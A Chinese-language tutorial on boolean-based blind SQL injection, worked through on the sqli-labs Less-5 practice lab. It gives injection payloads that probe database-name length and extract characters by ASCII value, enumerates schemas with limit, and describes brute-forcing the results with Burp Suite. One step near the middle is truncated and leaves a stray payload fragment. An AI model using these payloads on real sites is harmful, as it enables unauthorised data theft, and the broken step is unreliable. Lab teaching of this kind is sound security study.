注入原理
布尔盲注在注入时无回显的情况下适用,原理是应用系统在根据where+and语句进行查询时进行布尔判断即结果真或假,例如select * from admin where id=1 and 1=1,一般查询中应用系统仅接受 id变量值去拼接sql语句进行查询,但使用过union联合查询的小伙伴都知道可以闭合sql语句去让应用系统执行我们想要的语句,所以这个情况下,我们构造语句让查询结果为真或为假即可判断起数据库内容(库名、表名、列名、字段值等)
实战利用
函数解释
length() //返回字符串长度
substr(a,b,c) //从字符串a中b位截取c个字符
ascii() //将字符逐个转为ascii码 ascii码共128个
left(a,b) //从左侧截取前b位
regexp '^ro' //正则表达式,此句表示前两位为ro;与 like 'ro%' 作用一样
ORD() //返回字符串第一个字符的ascii码
MID(a,b,c) //与substr()用法一样,从字符串a中b位截取c个字符
sqli-labs-Less5
初级使用(length + ascii + substr)
1、尝试闭合
?id=1' --+
2、构造poc
(1)判断数据库长度
?id=1' and length((select database()))=7 //显示不正常
?id=1' and length((select database()))=8 //显示正常即表示当前数据库长度为8
(2)获取数据库名
?id=1' and ascii(substr((select database()),1,1))=1 --+ //这里可以对它进行抓包爆破
注意:这里爆破类型以及爆破的参数
爆破的第一个参数表示substr第一位中查询结果的第几个字段,此处即当前数据库的第几个字段
爆破的第二个参数表示第一个参数所截取的字符的ascii码,ascii码一共128个
在第一步中判断了当前数据库的长度,则这里的payload 1 为1到8
第二个payload则是ascii码,从1到128 【Start attack】
如上图当前数据库名的ascii码4已经爆破出来了,下一步进行转换,这里推荐一个网站可对ascii码批量转换 【http://www.ab126.com/goju/1711.html】
当前数据库名已获取到,其它的只需要在substr函数的第一个参数中修改查询语句即可
进阶使用(length + ascii + substr + limit)
在上面初级使用中当查询到多行参数时需要使用到 limit 函数,下面也顺便演示一下像联合查询一样查询到其它表名或库名,我们直接构造poc
1、判断所有数据库长度
?id=1' and length((select schema_name from information_schema.schemata))=1 --+
可以看到当使用这个语句时报错提示说返回信息不止一行
那这里其实可以使用到两种方法
方法一:group_concat()将查询到的信息汇总成一行,系统自动使用,进行分隔
方法二:使用limit函数指定查询的行信息(个人比较推荐的)
当查询返回的第一行信息的时候 我们在查询语句后面加上一个 limit 0,1
同理查询返回第二行信息的时候 在查询语句后面加上 limit 1,1
依旧使用Burpsuite爆破模块去爆破
我们不知道目标系统有多少个数据库,也不知道数据库最长多少位,我就默认使用20
20个数据库已经挺多了,数据库名到20个字符串长度也不常见
所以payload1和payload2都设为1到20,间隔1 【Start Attack】
结果出来了,通过爆破结果可以看到,该系统mysql中一共有5个数据库,1,1))=1 --+
爆破的时候我们可以直接设置三个参数,但是爆破出来的数据筛选时很乱
所以还是选择爆破两个数据
payload1(当前数据库最长字段) :
第一个数据库长度 从1到10
第二个数据库长度 从1到5
第三个数据库长度 从1到18
第四个数据库长度 从1到8
第五个数据库长度 从1到3
payload2(ascii码):从1到128 间隔1
第一个数据库的ascii码已经获取到了,接下来怎么把ascii码转字符就不说了
那如果要爆破第二个数据库的名字我们只需要修改两个地方
第一个地方:limit 1,1
第二个地方:payload1爆破值改为从1开始到第二个数据库长度
进一步爆破表名列名字段值都是如此方法,就不过多举例了
总结
布尔盲注是查询数据无法正常回显的情况下适用,如果length、ascii、substr函数被禁用,可以使用left、ORD、MID函数是同理作用的,布尔盲注可能比较花费时间,一定避免在poc语句构造时候出错。